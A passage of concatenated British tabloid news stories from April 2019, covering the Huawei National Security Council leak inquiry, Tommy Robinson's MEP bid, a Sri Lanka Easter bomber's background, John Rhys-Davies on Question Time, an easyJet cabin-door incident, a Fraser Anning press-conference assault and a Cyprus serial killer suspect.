Sedwill, has already demanded those in attendance at the National Security Council meeting to confess or deny if they were behind the disclosure. The Cabinet Secretary has written to those present at the council on Tuesday to tell him 'immediately' whether they were involved. Sedwill also asked the senior ministers present to agree that their special advisers, and any officials who had access to information about the outcome of the NSC meeting, would also assist the inquiry, The Guardian reports. Theresa May is facing calls for a full police inquiry after the disclosure of discussions on whether to grant Chinese telecoms giant Huawei the go-ahead to participate in the UK's 5G communications network. MPs have denounced the unprecedented leak as 'completely shocking' and called for action to find the perpetrator. Downing Street refused to say whether a leak inquiry was already under way but insisted the Prime Minister regarded the protection of information concerning national security as a 'matter of the highest importance'. Whitehall's most powerful official Sir Mark Sedwill (pictured) has demanded those in attendance at the National Security Council meeting to confess or deny if they were behind the disclosure Last night five ministers said to have been present at the Huawei meeting with Theresa May (bottom right) each insisted it was not them. Tory leadership hopefuls Gavin Williamson (centre right), Sajid Javid (bottom left), Jeremy Hunt (top left), and Penny Mordaunt (centre left), as well as Liam Fox (top right), denied they were to blame Five ministers who were said to have been at a meeting insisted yesterday that they were not to blame for the damaging leak. Who is on the National Security Council? A government document published earlier this month states that the National Security Council consists of: The Prime Minister Theresa May Minister for the Cabinet Office David Lidington The Chancellor Philip Hammond Home Secretary Sajid Javid Foreign Secretary Jeremy Hunt Defence Secretary Gavin Williamson Business Secretary Greg Clark International Development Secretary Penny Mordaunt Attorney General Geoffrey Cox The council is chaired by the National Security Adviser, Mark Sedwill. Other Cabinet ministers attend as required, as to the Chief of the Defence Staff, General Sir Nicholas Carter, and heads of Intelligence Agencies MI5 and MI6 also attend when required. Advertisement Tory leadership hopefuls Gavin Williamson, Sajid Javid, Jeremy Hunt and Penny Mordaunt, as well as Liam Fox, denied they were to blame. Dominic Grieve, chairman of the parliamentary Intelligence and Security Committee, suggested yesterday that it was someone on leadership manoeuvres. Former Defence Secretary Sir Michael Fallon even said the police should be called in to investigate, saying the leak was a threat to our security. Mr Hunt was first to flatly deny being the source of the Huawei revelations. Asked about the leak at a lunch for Westminster journalists, he said: I think it is utterly appalling that that should happen. I have never leaked confidential Cabinet discussions and I never will. Mr Williamson said: Neither I nor any of my team have divulged information from the National Security Council. Miss Mordaunt welcomed the inquiry. 'Asked if she or her officials had leaked any information, she said No. Sources close to Mr Javid denied he had leaked any information. Asked if there would be a criminal investigation into the Huawei leak, Mr Javid said: If there are leaks from government, whether they are being reported or alleged leaks reported in the papers, its right the Government looks to see where that has come from and how it happened. Cabinet Office minister David Lidington (left) said the matter was being taken 'very seriously', while Culture Secretary Jeremy Wright (right), who was also in the meeting, said the Government could not exclude the possibility of a criminal investigation For any Cabinet minister or any minister in the Government to share sensitive information in the public domain is completely unacceptable and it should be looked at. Sources close to Liam Fox categorically denied he was involved in the leak. Sources close to Cabinet Office minister David Lidington and Business Secretary Greg Clark declined to comment. However, earlier in the day, Mr Lidington told a cyber-security conference in Glasgow: All I can say is that we dont normally comment on leak inquiries, this matter is being taken very seriously. Sources close to Business Secretary Greg Clark (left) and Chancellor Philip Hammond (right) declined to comment Culture Secretary Jeremy Wright, who was also in the meeting, said the Government could not exclude the possibility of a criminal investigation. Responding to an urgent question in the Commons, Mr Wright said members of the intelligence services need to know ministers will treat seriously and keep private any advice they give. That is why this is serious, and that is why the Government intends to treat it seriously, he added. This was unacceptable and corrosive to the ability to deliver good governance. Sir Michael Fallon called for a police investigation, raising the prospect of a minister being charged with breaching the Official Secrets Act. Such breaches carry a maximum jail term of two years. Sir Michael told the BBC: This is completely shocking. 'Any leak from the National Security Council can only help our adversaries, whether they are terrorists, whether they are rogue states, and is a threat to our security. Asked if that could result in a jail sentence, he said: Ministers are subject to the Official Secrets Act just like anybody else. Former minister Andrew Mitchell said Mrs May should order MI5 to conduct a full investigation and question Cabinet Ministers if necessary. Mr Grieve said the leak was deeply worrying, adding: I cant pretend that there arent people who appear to be preparing themselves for leadership bids. Labour demanded a full investigation. Shadow Cabinet Office minister Jo Platt said: If a minister did leak the information, they are not fit to serve in the Cabinet and are certainly not fit to be prime minister. The Prime Ministers official spokesman declined to say if an inquiry had been launched but added: The Prime Minister is clear that protection of information on matters of national security is of the highest importance. Tommy Robinson was forced to stop handing out free burgers and hot dogs as he announced his European elections candidacy - because it's against electoral law. The former leader of the far right English Defence League spoke to 300 people in Wythenshawe, Manchester yesterday where he revealed he will be running as an independent candidate in the North West. He promised residents a 'David versus Goliath' battle to represent 'betrayed' working class estates like theirs. Robinson, whose real name is Stephen Yaxley-Lennon, also organised a catering van to hand out free burgers and hot dogs, but he was forced to shut it down when he got a call from the police. Officers told him offering free food and drink at campaign events breaks electoral laws. Tommy Robinson is pictured in Wythenshawe, Manchester, where he announced he is running as an independent MEP candidate Robinson (pictured with supporters), whose real name is Stephen Yaxley-Lennon, also organised a catering van to hand out free burgers and hot dogs, but he was forced to shut it down when he got a call from the police After further technical hitches with his PA system, he told supporters that people on council estates such as Wythenshawe, where the rally was held, had been 'betrayed and forgotten' because enough did not vote. 'Everyone is so disillusioned with the liars in Parliament, but that is also our weakness,' he said. 'It's the reason we are being betrayed and will continue being betrayed, until they fear us. 'The only way they will fear us is if we take their seats.' Robinson submitted his 5,000 deposit to be on the ballot on May 23. He spent the previous two days in the area and said he chose it due to the fact that it is an area which is full of working class communities. The ex-EDL leader took a swipe at Nigel Farage, whose new Brexit Party is leading in the polls, calling him: 'Just another millionaire who looks down at the working classes'. The married father-of-three, 36, is standing as an independent, not for UKIP despite his links to leader Gerard Batten, and has launched a new 'Vote Tommy' website including a slick promo video. A still of the 'Vote Tommy' website is pictured where people can register to vote online Tommy Robinson, pictured on stage in Westminster last month, is standing as an independent and took a swipe at Nigel Farage , whose new Brexit Party is leading in the polls, calling him: 'Just another millionaire who looks down at the working classes'. Tommy Robinson had hosted the event in Wythenshawe earlier this evening to launch his election campaign He told crowds: 'If you want to leave the European Union then you need to vote for me. 'The reason we are betrayed is because we don't vote I've never voted because there is no one to vote for. We need to take their seats. Over the next four weeks I will travel a roadshow to the working class communities of the North West.' People from across the whole country had attended the event with some attending from the Wirral, Nottingham and the surrounding areas in Manchester. He added: This is David vs Goliath, nobody has every won as an Independent do you realise the shock waves we will send across the world if we galvanize and unite the people who don't vote. Robinson (pictured above) said he had chosen Wythenshawe as it was a working class area which had been forgotten People attended the event from all over the country and supporters from areas such as Manchester, the Wirral and Nottingham showed up 'Take this message home to the building sites to the playgrounds mums, dads, send them a message they will never forget.' He also added that Labour don't represent the working class any more and also took aim at former UKIP leader Nigel Farage. 'Do you think Nigel Farage has ever spent time in a working class community? He's a millionaire trader and Tory.' Robinson was jailed for contempt of court last year but is not barred from standing in the upcoming election because he served less than a year in prison. Protestors objecting to far-right activist Tommy Robinson's announcement to stand for MEP gathered outside Manchester Town Hall this afternoon The activist is from Luton, but is standing in the north-west, where then BNP leader Nick Griffin was elected in 2009. Robinson wrote online today: 'They're laughing at us. All of them Theresa May, Jeremy Corbyn, the European Union bureaucrats. 17.4 million of us voted for Brexit, but they don't care about people like us. They've tried to silence us, and they took away our democratic rights by betraying Brexit. 'The election on May 23 is how we fight back. Put me right inside the EU and they won't know what hit them. They'll long for the days when it was just Nigel Farage. Members of the Lancashire Association of Trade Union Councils and Unite Against Fascism called for the public to reject the former English Defence League leader as an independent candidate in the European Elections 'I admire what Farage achieved in the past. But at the end of the day, he's just another millionaire stockbroker who looks down at the working classes. And he's terrified of talking about issues like the Islamification of Britain. He won't fight the battle for the heart of our country in fact he bad-mouths those who do.' Despite having previously been in prison, according to rules set out by the electoral commission Robinson will be able to stand as he was not detained in prison for more than a year and was not 'subject to a particular court decision'. Robinson is 'not welcome' in the north-west, say critics Tommy Robinson is not welcome to spread his 'vitriol' in Manchester or in any other community, a Labour frontbencher has said. Shadow schools minister Mike Kane (Wythenshawe and Sale East) said he wanted to highlight the visit in his constituency by Mr Robinson, whose real name is Stephen Yaxley Lennon, to call for unity. Mr Kane said: 'I want to make it clear, and I'm sure the whole House would agree, this individual is not welcome to spread his xenophobic, Islamophobic, homophobic, racist vitriol in my community or in any other community. 'He seeks to divide rather than to unite people. We do things differently in Manchester, we stand together against hate.' MPs from both sides of the House murmured in agreement when Mr Kane finished his remarks at the despatch box. Schools minister Nick Gibb said he shared the sentiments expressed by his opposite number, adding: 'I'm sure it's a sentiment shared right across this House.' Advertisement The rules state: 'You are disqualified under the Representation of the People Act if you have been convicted of an offence and have been sentenced to be imprisoned or detained for more than a year and are detained anywhere in the UK, Ireland, the Channel Islands, the Isle of Man or Gibraltar, or are unlawfully at large.' Manchester faith leaders and MPs have united to denounce him in a letter. It says that Robinson and 'far-right political views are not welcome in our town and our great city. 'We want to make this statement about Stephen Yaxley-Lennon, also known as Tommy Robinson. Together, on behalf of our community, we felt it necessary to speak out against his visit. We are firm in our belief that violence and racism have no place in our political discourse'. His decision to stand has also caused fury among anti-fascism and anti-racism campaigners. Nick Lowles, chief executive of HOPE not hate, said: 'Stephen Lennon is a far-right thug who uses his platform to bully, abuse and stir up division, monetising his hatred to rake in donations from his fans. He has a long record of abuse towards minorities such as Muslims and wherever he goes trouble has followed. 'Standing in this election is just another way for Lennon to line his pockets, at the expense of democracy and voters. 'In these Euro elections, the fewer people who vote, the easier it is for extremists to win a seat, so if you've ever been appalled or angered by Stephen Lennon turn up and vote on May 23. The North West needs a voice of hope, not hatred.' These are the final moments of British-educated Sri Lankan jihadi Abdul Lathief Jameel Mohammed before he blew himself up accidentally while inspecting his faulty bomb. CCTV positioned outside the Tropical Inn guest house in Colombo, Sri Lanka, captured Mohammed walking into the building holding what appears to be a rucksack over one shoulder. Moments later the device exploded, killing him and one other person. The footage emerged as a source close to his family revealed he has been on a terror watchlist 'for years', including while plotting the atrocity. Abdul Lathief Jameel Mohammed, one of eight Sri Lanka suicide attackers, was filmed on CCTV walking into the Tropical Inn guest house where he blew himself up Mohammed was born in Sri Lanka but spent a year studying at Kingston University in south west London and also lived in Australia before returning to his home country It is thought Mohammed's bomb malfunctioned as he tried to detonate it at a much larger hotel and that he blew himself up by accident while inspecting it, killing one other person The claim, made to The Telegraph, raises further questions for Sri Lankan authorities already under fire for ignoring a series of warnings that could have stopped the Easter Sunday atrocity. Defence Secretary Hemasiri Fernando has already resigned over the failure to prevent the attacks, while President Sirisena said on Friday that the police chief will also resign today. Mohammed's target was the breakfast buffet at the Taj Samudra, a luxury hotel on Colombo's seafront. Instead, he ended up detonating his explosive device in a budget motel by the city's zoo, killing a couple who had arrived only half an hour earlier. He was the only attacker out of the eight Sri Lankans pledging allegiance to Islamic State who failed to hit his intended target in the attacks. People who knew him said Jameel, like many of the other bombers, was an educated family man who was radicalized after travelling abroad, though an attempt to reach Syria failed in 2014, according to a Sri Lankan intelligence source. The United States' invasion of Iraq was a major turning point in Jameel's views, people who knew him said. An executive at the Taj familiar with some of the details of what happened on Easter Sunday, meanwhile, said Jameel most probably entered the hotel without being searched, but that his bomb failed to go off, in what the employee called a 'miraculous escape' for its hundreds of guests. After his failed attempt at the Taj, he checked in at the New Tropical Inn some 10 km (6 miles) away. He then left for several hours as a huge manhunt was being launched by authorities to catch those involved who were still alive, only to return later and detonate his device, according to the owner of the motel. Jameel, 37, was born in Kandy, the sixth child in a tea trading family of seven, according to interviews with three people who knew him well, all of whom declined to be named due to the ongoing police investigation. He was educated at the private Gampola International School in Kandy, a lush hilltown in the centre of the country. The sister of British-educated Sri Lanka suicide bomber Abdul Lathief Jameel Mohamed (pictured as a school boy) has revealed how he became radicalised abroad and ended up 'really angry and totally crazy' even telling off male relatives off for trimming their beards The family's relative wealth allowed him to travel and live abroad. He studied engineering at Kingston University, southwest of London, for a year in 2006, according to two sources close to the family and two European intelligence officials. The university declined to comment on his time there. He returned to Sri Lanka, where he married and had his first of four children, before moving to Australia for four years in 2009. It was during this time he became radicalized, said those who knew him. 'He was really angry with the U.S. and its alliance's attacks in Iraq during his stay in Australia,' a close friend told Reuters. 'He was really radicalized and became an extremist when he was in Australia. He returned as a completely changed person.' Jameel attempted to travel to Syria in 2014 with a friend, but only got as far as Turkey before turning back for an unknown reason, according to the Sri Lankan intelligence source, who is familiar with Jameel's travel during this time. The friend later joined Islamic State's health service in Syria. Returning to Sri Lanka again, he worked with his brother in the family tea business, but his relationship with relatives grew increasingly strained due to his religious views. He was critical of secular education and once refused to allow his eldest son to attend a concert, saying that music was prohibited in Islam, according to one of his friends. He later pulled his children from school, tutoring them at the family's home in Wellampitiya, a suburb of Colombo. The house is near a copper factory owned by the family of two brothers who also detonated bombs on Sunday. Jameel made little impression on the staff of the Taj when he entered some time before 8:45 a.m. on Easter Sunday. Waiters and chefs were preparing for the hotel's popular brunch in the 116-seat Ports of Call restaurant. Mohamed's sister said her sibling lost a lot of his childhood innocence, becoming serious and withdrawn - adding 'He would not even smile at anyone he didn't know, let alone laugh.' There were no bag checks at the entrance, according to a Taj executive, who declined to be named due to the ongoing investigation. 'Since the end of the war, security has been more relaxed at all the hotels,' she said, referring to the 26-year conflict with Tamil separatists that ended in 2009. 'We don't know how long he was here for: he could have been here for some time. But it was miraculous escape for our guests.' Police have seized all copies of the hotel's CCTV cameras to investigate what happened that day, she said. As the coordinated blasts hit luxury hotels and churches, Colombo went into lockdown. But Jameel's bomb failed to explode. He took an autorickshaw south to the New Tropical Inn where he checked in at 9:30 a.m., according to Sumith Wijela, the owner of the hotel. Fifteen minutes later, he left without saying a word. It is not known where Jameel went during these hours, but around 1:30 p.m., he strolled back into the hotel, wearing a white shirt and carrying a bag, according to CCTV footage from a nearby house viewed by Reuters. Minutes later, the building was almost levelled by a huge explosion. Wijela, who was watching TV in his office, down the corridor from Jameel's room, was showered with plaster and concrete. Shrapnel pierced his right foot. The blast blew a hole into the room next to Jameel's, where a couple, the only guests at the time who had checked in less than 30 minutes earlier, were staying. Wijela pointed to a photo on his phone, showing the faded red bedspread where they were killed. He hadn't even had a chance to learn their names, he said. 'I have been working for 20 years in this hotel, and all is finished in one day,' he said. 'I have three daughters and there is nothing for them.' At the Taj, meanwhile, Sunday's events are also being felt. Soldiers patrol the ornate marble lobby in combat boots, and private security guards and hotel staff perform fingertip searches on the few guests checking in. Mohammed tried to blow up the luxury Taj Samudra hotel (pictured) in the Sri Lankan capital Colombo on Easter Sunday 'Why didn't you do this last Friday?' said the only other diner in the targeted restaurant to a waitress when Reuters visited on Friday, as the military searched the pool deck with hotel staff. The footage emerged as Samsul Hidaya, Mohammed's sister, revealed how he became radicalised abroad and ended up 'really angry and totally crazy' even telling off male relatives for trimming their beards. In an exclusive interview, Samsul Hidaya said her brother had been educated to the highest level but became increasingly withdrawn and intense as he descended into extremism. 'My brother became deeply, deeply religious while he was in Australia,' she said. 'He was normal when he went to study in Britain, and normal when he came back. 'But after he did his postgraduate in Australia, he came back to Sri Lanka a different man. 'He had a long beard and had lost his sense of humour. He became serious and withdrawn and would not even smile at anyone he didn't know, let alone laugh.' Recalling the shock of his involvement in the atrocity which claimed at least 250 lives, Mrs Hidaya opened the family photo album to show childhood pictures of the future bomber show the practical joker as a teenager, laughing with friends as he posed with a crocodile and other animals. But he is believed to have botched his attempt to detonate his bomb at the five-star hotel and is thought to have blown himself up by accident at a much smaller guest house (pictured) 'He was a music lover and a funny boy,' his sister said. 'It makes me sad to think what happened to him. Before he died he would not let his children listen to music and he never said a friendly word to anyone.' Even as a child he was always devout, she added, but had 'never taken it too far'. But on his return from Australia, he 'created tension' by berating his family for their religious lapses, she said. 'I had many arguments with him,' his sister recalled. 'At first he started quoting scripture and I would say OK, you're right. 'But then the conversation got deeper and deeper into religion and I couldn't follow what he was saying any longer. 'He told male relatives off for trimming their beards and became angry and totally crazy. So I just stopped speaking to him because it got to the point where it was getting out of hand.' Although Mohamed lived round the corner, the siblings avoided each other. She he came to visit their mother, who lived with Mrs Hidaya, he would ignore her. 'We even started using different roads to go to and from our houses,' she said. But despite his evident fanaticism, the news of the Easter atrocities came as a shock. 'When the police came to tell us it was him, I almost collapsed,' Mrs Hidaya said. 'I just didn't think he would take it this far. I am still in disbelief. Something happened to him in Australia that changed his personality. He became silent and aloof.' Mohamed's wife, who he married in a lavish ceremony before moving to Australia, was a 'silent and anonymous' character, Mrs Hidaya said. She has been taken into police custody and their four children, aged six, four, two and six months, are being cared for by their grandmother in the home where the atrocity was planned. Mohamed's sister opened the family photo album to show childhood pictures of the future bomber show the practical joker as a teenager, laughing with friends as he posed with a crocodile and other animals before he became radicalised In an exclusive interview, Mohamed's sister said had been educated to the highest level but became increasingly withdrawn and intense as he descended into extremism Mohamed, one of six siblings, was from a wealthy tea trading family based near the central city of Kandy. He lived in this house in an upmarket part of Colombo which was raided on Monday Mohamed's identity came to light after Sri Lanka's defence minister, Ruwan Wijewardene, told a media briefing earlier on Wednesday that one of the bombers had studied in the UK and done postgraduate studies in Australia before returning to settle in Sri Lanka. Mrs Hidaya said her brother, born in 1982 to a family with six siblings, was from a wealthy tea trading family based near the central city of Kandy. He was educated at the nearby Gampola International School before studying for his A Levels at the Royal Institute, a well-known international school in Colombo. Ten years ago, after his father, Abdul Latif, died, his mother, Samsun Nissa, moved the family to Colombo, renting the upper floor of a mansion in a majority Muslim eastern suburb. After returning from studying in Britain, he moved into the property and fell in love with their landlord's daughter, Shifana, who came from an affluent meat-trading family. They married before moving to Australia so he could pursue his postgraduate studies. Mohamed's younger sister married a Sri Lankan New Zealander and emigrated to Auckland with their mother. Her brother, who had his first child in Australia, moved back to Sri Lanka to live in the mansion his family previously rented. His grandfather had left him an extensive property portfolio when he died, including the family home in Kandy. As a result, the trained aeronautical engineer did not need to work. 'Before he died he was selling the family home,' Mrs Hidaya said. 'He obviously needed a sum of money. 'But he never wanted for anything in his life. From time to time he sold or bought a property. He never had to worry about money like ordinary people do.' Hollywood star John Rhys-Davies shamed MPs last night as he accused them of 'betraying democracy' by failing to deliver Brexit. In an extraordinary moment on the BBC's Question Time last night the Indiana Jones and Lord of the Rings actor, 74, was given an ovation by the audience - and would later tear into those who oppose Donald Trump's proposed state visit. In a Brexit speech, punctuated by applause, Mr Rhys-Davies, physically turned to Green MP Caroline Lucas, Labour's Jon Ashworth and Lib Dem leader Sir Vince Cable to warn them: 'You will damage Democracy if you don't deliver Brexit'. He said that in his life he had 'never seen such a level of anger' about MPs failing to deliver the result of the 2016 EU referendum. He went on: 'The mood of the people I've been talking to - and I do not mean hotheads or loose talk in the pub - I'm talking about considered grown ups who work for a living, who think for a living, and have had to make economic decisions for themselves, I have never seen such a level of anger'. Addressing the MPs on the panel directly he said: 'I do believe every member here went into politics in order to do their best for the people who elected them. But your primary objective is to preserve democracy and whatever you may feel, you have betrayed democracy'. The acting star, who found worldwide fame starring as Egyptian excavator Sallah in Indiana Jones' Raiders of the Lost Ark, was also involved in an incredible row with Caroline Lucas over allowing Donald Trump a state visit to Britain in June. Confronting her over her opposition to the trip he said: 'He's elected head of state of a great democracy, the last best hope for man kind, of course. He represents the American people'. Hollywood star John Rhys-Davies blasted MPs for 'betraying democracy' by failing to deliver Brexit on Question Time last night The actor, 74, turned to MPs on the panel including Sir Vince Cable, far right of picture, and told them: 'Your primary objective is to preserve democracy and whatever you may feel, you have betrayed democracy' John Rhys-Davies warned of 'demographic catastrophe' in Europe because of immigration It is not the first time John Rhys-Davies has been involved in a political row. In 2004 he became embroiled in a row after remarks about immigration. He said Europe faced a 'demographic catastrophe' in the next 20 to 30 years because of Islamic immigrants coming to the continent. His comments were seized upon by the BNP, who made a Lord of the Rings inspired pamphlet based on his words. Born in the Carmarthenshire-village of Ammanford, John Rhys-Davies was brought up in Tanzania where his father was a colonial policeman. He became head boy at his minor public boarding school in Truro, Cornwall, before studying history and literature at the University of East Anglia. He then taught for a year at a secondary modern school before deciding to train as an actor with RADA in 1967. Professionally, he carved a niche playing character roles in films such as the 1980 hit Shogun, Raiders Of The Lost Ark in 1981 and the Bond movie The Living Daylights in 1987. But it was his role as Gimli in the Oscar-winning Lord Of The Rings trilogy that brought him global fame - and also led to him finding love. In 2004, while appearing on New Zealand television to talk about the films, he met his current partner Lisa Manning . They have a daughter (pictured together in 2007). John was still married-to his wife Susie, with whom he has two sons, Ben and Tom, now in their forties. Susie battled Alzheimer's and died in 2010. They never divorced. Susie, a former translator who was 13 years his senior and whom he met as an undergraduate, was ill for more than 25 years. In a rare 2007 interview he admitted he was 'a complete s***' to his wife. 'I was never there for her. She deserved far, far better than me. She was a remarkable and wonderful person and I was just too young and stupid to understand it'. While John was pursuing his career in LA in the early Eighties, he and Susie decided their marriage was over. But they kept their estrangement hidden from their sons, who were at boarding school. For the sake of Ben and Tom, they continued to have family holidays. Advertisement When Ms Lucas replied: 'He lost the popular vote by nearly three million votes' the star hit, banging on the table shouting: 'Oh woman! Any system of election has its problems'. Today Labour MP Wes Streeting called him a 'pompous, boorish oaf'. Viewers were split on the row - some supportive, others branding him: 'Thuggish and sexist'. Dr Lauren Gavaghan said: 'John Rhys-Davies loses it & screeches 'oh woman!' like a petulant child at a dignified & calm Caroline Lucas when faced with nothing but a simple fact. This is precisely why facts are so key in public debate these days. ' Remain campaigner Femi Oluwole tweeted: 'Did anyone else feel genuinely worried for Caroline Lucas in this moment? John Rhys-Davies may sound posh, but that was thuggish behaviour by anyone's definition. (sexist too)'. Britain is heading into local and European elections with Nigel Farage's new Brexit Party predicted to clean-up. Mr Farage said yesterday he is planning to take on the Tories and Labour in the next General Election. The leader confirmed he wants to run candidates for Parliament in future to stop MPs blocking Brexit. His new party is on course to come top in next month's EU elections just months after it was founded. In an interview with The Sun, Mr Farage pledged to use the Brussels poll as a 'springboard' to take the party into power in Westminster. Her ministers yesterday urged Theresa May to get on with delivering Brexit after she shelved vital legislation again in the face of continued opposition in Parliament. Foreign Secretary Jeremy Hunt and Commons Leader Andrea Leadsom voiced frustration at the Government's failure to find a way to break the Brexit deadlock. No10 had hoped to bring forward the Withdrawal Agreement Bill next week to get a version of Mrs May's deal through Parliament in time to cancel the European Parliament elections on May 23. But it was missing from yesterday's list of legislation to be considered by Parliament next week, and Tory whips have privately told ministers the idea has been put on hold for at least a week while Mrs May tries to secure enough backing for it. Whitehall sources said the slow pace meant there was now almost no chance of avoiding the European elections, when the Tories are expected to take a pounding from Nigel Farage's new Brexit Party. The actor later banged the table and yelled 'oh woman' at Caroline Lucas because she opposed Trump's state visit to the UK John Rhys-Davies, pictured playing Gimli in the Lord of the Rings trilogy, has enjoyed a glittering career on stage and screen Mrs Leadsom told MPs she was 'personally upset' at the failure to deliver Brexit, urging Mrs May: 'It is vital that we bring in the Withdrawal Agreement Bill, to give the House the opportunity to make progress on delivering on the will of the people.' Mr Hunt told a lunch for journalists: 'It's very straightforward. We have to leave quickly and we have to leave cleanly.' Terrified passengers were left tackling a man to the floor of a plane after he tried to force open the jet's door at 30,000 feet. Passengers on board a packed EasyJet flight from Gatwick to Pisa, Italy, rushed to assist crew members in bundling the man into a seat after he tried to force open the plane's door twice. As holidaymakers screamed in panic, the male passenger, who is reportedly in his 30s and from Siena, Italy, was pushed into a seat and surrounded by fellow male travellers. British passengers were left tackling a man to the floor of an easyJet plane travelling from Gatwick to Pisa, Italy, after he tried to force open the jet's door at 30,000 feet. (Stock image) Following the disruptive behaviour, the captain of flight EZY8233 requested the assistance of police in Italy. Company boss Richard Conyard, 42, told The Sun that the man, who had been wearing a heavy coat, had walked nervously down the aisle and towards the toilet. After being in the toilet for about a minute, the man proceeded towards the emergency exit and tried to force open the door twice. Mr Conyard said: 'When he came out he went towards the emergency exit and grabbed the handle and tried to open the door. 'One of the crew screamed at him to stop and other passengers started shouting and crying. Everyone was understandably very scared. Flight EZY8233, which was travelling from Gatwick to Pisa, requested the assistance of police in Italy following the disruptive behaviour The man in his 30s had tried to force open the plane's door twice before passengers and crew staff bundled him into a seat. (Stock image) 'A couple of guys went to help. I joined them. We bundled him into a seat. Some women nearby were asked to swap seats so all these burly blokes could sit around him and box him in.' According to plane experts, opening the door to the plane at 30,000 feet would have resulted in a sudden decrease in temperature and compression- the result of which could have seen passengers sucked out of the aircraft. After making its descent, the male passenger was questioned by airport police in Pisa. An easyJet spokeswoman said: 'easyJet can confirm that the Captain of flight EZY8233 from London Gatwick to Pisa on 24 April requested police to meet the aircraft on arrival as a passenger made an attempt to open one of the cabin doors during the descent. 'While it would not have been possible to open the door due to the cabin pressurisation, the crew responded quickly to ensure the passenger remained seated until landing. 'easyJet's cabin crew are trained to assess and evaluate all situations and to act quickly and appropriately to ensure that the safety of the flight and other passengers is not compromised at any time. Safety is always easyJet's highest priority.' Advertisement Far-right senator Fraser Anning has vowed to ban Muslims and black people from immigrating to Australia in vile tweets after one of his supporters was arrested for allegedly attacking a photographer at a press conference. Mr Anning's conference in Dunningham Park at Cronulla in Sydney's south descended into chaos on Friday morning when a fight broke out between a 19-year-old supporter and a photographer. 'Today I was at Cronulla announcing candidates for NSW,' Senator Anning tweeted on Friday afternoon. 'As you know, this area is the Prime Minister's seat, and there's been all sorts of problems here with the Muslim immigrants who have come here and attacked people.' Scroll down for video Far-right senator Fraser Anning has vowed to ban Muslims and black people from immigrating to Australia in vile tweets after one of his supporters was arrested for 'attacking a photographer' at a press conference The suburb was the site of the 2005 Cronulla riots which saw brawling over several days after a fight broke out between a group of Lebanese youths and lifeguards on the beach. 'The people of Cronulla and NSW are very concerned about Muslim immigration and they have every right to [be],' Mr Anning tweeted. 'My party will ban all Muslim and Black immigration and ensure safety for Australians once more.' Dramatic footage showed from the conference showed one of Senator Anning's supporter clashing with photographer Dylan Robinson in Dunningham Park at Cronulla in Sydney's south. Mr Robinson was hit in the face several times, thrown to the ground and left with his shirt torn in two before police arrested the young man. The brawl broke out after far-right Queensland senator Anning gave an outdoor speech to announce his Conservative National Party's election candidate for the seat of Cook, held by Prime Minister Scott Morrison. While journalists questioned Senator Anning, several of his vocal supporters interrupted and gave their own responses. According to reporters at the scene, they particularly objected to questions from local newspaper journalist Eliza Barr. Scuffle: Photographer Dylan Robinson after a confrontation with a supporter following a press conference with Senator Fraser Anning at Dunningham Park at Cronulla in Sydney All smiles: This is the man police arrested after the confrontation took place in Dunningham Park at Cronulla in Sydney Targeted: The scuffle started after Anning supporters were particularly riled up by questions from local newspaper journalist Eliza Barr (centre) Fight: A group reportedly followed Miss Barr (pictured with a photographer) out of the park. A photographer went to check on her and then a scuffle broke out between him and an Anning supporter Mr Robinson was hit in the face several times, thrown to the ground and left with his shirt torn in two before police arrested the young man. Pictured: The brawl Miss Barr said she had not seen any evidence of hate crimes committed by Muslims in the local area - and one Anning supporter said: 'You live in a world of make believe.' After the press conference, a group reportedly followed her out of Dunningham Park. The 19-year-old man allegedly peppered her with sexist and abusive comments. Mr Robinson followed him and attempted to take his photo before the young man pushed the camera away and allegedly lashed out. Video footage showed the 19-year-old and the photographer grappling. Senator Anning was not in the vicinity and waiting on the opposite side of the park. Plain-clothes police at the event swooped in before uniformed officers arrived quickly and arrested the 19-year-old man who was pictured smiling as he was detained. The man was charged with common assault, intimidation and behaving in an offensive manner. He was granted strict conditional bail and is due to appear at Sutherland Local Court on Thursday 16 May. Pictures showed the snapper (pictured with local journalist Miss Barr) talking to police with his shirt ripped open A scuffle broke out with the photographer apparently being thrown to the floor. Pictured: Police speaking to a man at the scene Video footage showed the 19-year-old (pictured) hitting the photographer in the face several times. Senator Anning was not in the vicinity and waiting on the opposite side of the park The controversial senator (centre) was giving a speech in Cronulla, south Sydney to announce his Conservative National Party's candidate for Cook Prime Minister Scott Morrison said there was 'no place in Australian politics' for violence. 'I find it absolutely appalling... (Senator Anning) is placed last on my ticket and our party's ticket,' the Liberal leader said. The media union later stated: 'It is unacceptable in a democracy for journalists to be physically threatened or assaulted in the course of doing their job.' This latest incident followed a confrontation last month at another press conference of Senator Anning. A protester was violently held by his supporters after he cracked an egg on Senator Anning's head. The protester, dubbed Eggboy, subsequently said he regretted his actions, but others hailed his behaviour. Senator Anning holds staunch anti-immigration views and chose to hold his press conference in a suburb with a history of racial tension. Pictured: The Cronulla riots of 2005 The 2005 Cronulla riots (pictured) saw brawling over several days after a fight broke out between a group of Lebanese youths and lifeguards on the beach The army officer suspect named locally as Nicos Metaxas, 35 Cyprus's first 'serial killer' has allegedly confessed to murdering seven victims, including five women and two girls. The 35-year-old Greek army officer - named locally as Nicos Metaxas - showed investigators where he had dumped a body in a well near an army firing range outside Nicosia, on Thursday. Earlier police sources said he confessed to killing five women and two girls. All but one of the women was of Asian descent and he met at least two on dating websites. One of their naked bodies was reportedly bound and wrapped in white sheet in a mine-shaft, Neos Kosmos reported. The suspect reportedly met two of the women on dating website Badoo. Maricar Valtez Arquiola, 31 (left) and Arian Palanos Lozano, 28, (right) - have been named by Cypriot media as victims Cypriot media say the soldier is also suspected of killing Romanian mother Livia Florentina Bunea, 36, (left) and her eight-year-old daughter Elena Natalia (right) who went missing in 2016 A police truck, rear left, carries a body found after Cypriot investigators and police officers searched at a field outside of Orounta village, near the capital Nicosia on Thursday Cyprus police later told a court that the soldier had admitted to strangling one of the victim's after having sex with her. Authorities searched the flooded mine-shaft on Monday after discovering Marry Rose Tiburcio, 38, and a lake for signs of her missing daughter, six-year-old Sierra. Cypriot media say the soldier is suspected of killing Romanian mother Livia Florentina Bunea, 36, and her eight-year-old daughter Elena Natalia, who went missing in 2016. Cypriot papers further identified suspected victim Arian Palanas Lozano, 28. A diver is pictured entering a manmade lake to search for bodies in the village of Xiliatos, outside of the capital Nicosia Firefighters and investigators are pictured searching the lake. A sole diver connected to an air hose was also sent in, descending into the deep emerald-green waters filling the crater A witness told investigators the army captain had photos of 31-year-old Maricar Valtez Arquiola's temporary Cyprus residency permit that were taken the day she disappeared in December 2017. The suspect initially denied killing Arquiola but confessed to it after the court hearing, the police official said. Cypriot authorities combed lakes for the remains of three women and a girl in a 'Good Friday' hunt for bodies today. The 